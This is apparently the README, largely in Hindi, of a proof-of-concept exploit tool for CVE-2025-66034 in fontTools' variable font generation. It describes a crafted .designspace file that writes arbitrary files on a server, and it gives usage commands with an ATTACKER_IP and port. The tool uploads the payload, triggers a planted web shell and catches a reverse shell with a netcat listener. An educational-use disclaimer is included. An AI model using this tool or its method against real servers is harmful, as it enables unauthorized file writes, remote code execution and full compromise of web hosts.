
Proof-of-concept exploit for CVE-2025-66034 in the fontTools variable font generation pipeline. A crafted .designspace file allows control of the output path, enabling arbitrary file writes. The script automates payload creation, font generation, and upload to demonstrate the issue.
यह रिपॉजिटरी कोई नई कमजोरी पेश नहीं करती है।
यह CVE-2025-66034 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट शोषण है जो fontTools varLib वेरिएबल फ़ॉन्ट जनरेशन पाइपलाइन को प्रभावित करता है।
यह कमजोरी हमलावरों को एक क्राफ्टेड .designspace फ़ाइल के अंदर आउटपुट फ़ाइल नाम को नियंत्रित करने की अनुमति देती है। जब एक कमजोर फ़ॉन्ट जनरेशन सेवा द्वारा संसाधित किया जाता है, तो यह सर्वर फ़ाइलसिस्टम पर मनमानी फ़ाइल लिखने का कारण बन सकता है।
स्क्रिप्ट varlib_cve_2025_66034.py पेलोड निर्माण, फ़ॉन्ट जनरेशन, अपलोड और वैकल्पिक शेल ट्रिगरिंग को स्वचालित करती है।
nc लिसनरपायथन 3.9+
निर्भरताएँ स्थापित करें:
pip install fonttools requests
लिसनर के लिए Netcat आवश्यक है:
यदि आपका लक्ष्य mysite.com पर चलने वाली एक सेल्फ-होस्टेड लैब है, और अपलोड पथ, फ़ाइलसिस्टम लेखन पथ, और वेब-एक्सेसिबल ट्रिगर पथ स्क्रिप्ट में डिफ़ॉल्ट से मेल खाते हैं, तो आप इसे सीधे चला सकते हैं।
मूल उपयोग:
python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT>
यह अत्यधिक संभावना है कि लक्ष्य अलग-अलग URL या फ़ाइलसिस्टम पथ का उपयोग करता है, नीचे उपलब्ध विकल्पों जैसे --url, --path, और --trigger के साथ डिफ़ॉल्ट को ओवरराइड करें या स्क्रिप्ट को मैन्युअल रूप से संशोधित करें
नोट: मल्टीपार्ट अपलोड फॉर्म नाम पर्यावरण के आधार पर भिन्न हो सकते हैं। यदि लक्ष्य स्क्रिप्ट के समान फॉर्म फ़ील्ड नामों का उपयोग नहीं करता है, तो शोषण चलाने से पहले उन्हें files अनुभाग में समायोजित करें।
कस्टम विकल्पों के साथ उदाहरण:
python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT> --path /var/www/mysite.com/public --url http://mysite.com/tools/variable-font-generator/process --trigger http://mysite.com
.designspace फ़ाइल बनाएँविशेष धन्यवाद और सम्मान:
यह प्रूफ-ऑफ-कॉन्सेप्ट शैक्षिक और अनुसंधान उद्देश्यों के लिए प्रदान किया गया है ताकि कमजोरी और इसके प्रभाव को समझने में मदद मिल सके।
यह कोड केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए प्रदान किया गया है।
इस शोषण का उपयोग उन प्रणालियों के खिलाफ न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है।
लेखक इस सॉफ़्टवेयर के दुरुपयोग या इसके कारण होने वाली क्षति के लिए जिम्मेदार नहीं है।
| आर्गुमेंट | विवरण |
|---|
--ip | हमलावर लिसनर IP |
--port | लिसनर पोर्ट |
--path | लक्ष्य फ़ाइलसिस्टम पथ जहाँ फ़ाइल लिखी जाएगी (वेब शेल को ट्रिगर करने के लिए वेब-एक्सेसिबल होना चाहिए) |
--url | अपलोड एंडपॉइंट, फॉर्म भिन्न हो सकता है |
--trigger | अपलोड के बाद लिखित पेलोड को ट्रिगर करने के लिए उपयोग किया जाने वाला बेस URL |
--no-listen | स्वचालित netcat लिसनर को अक्षम करें |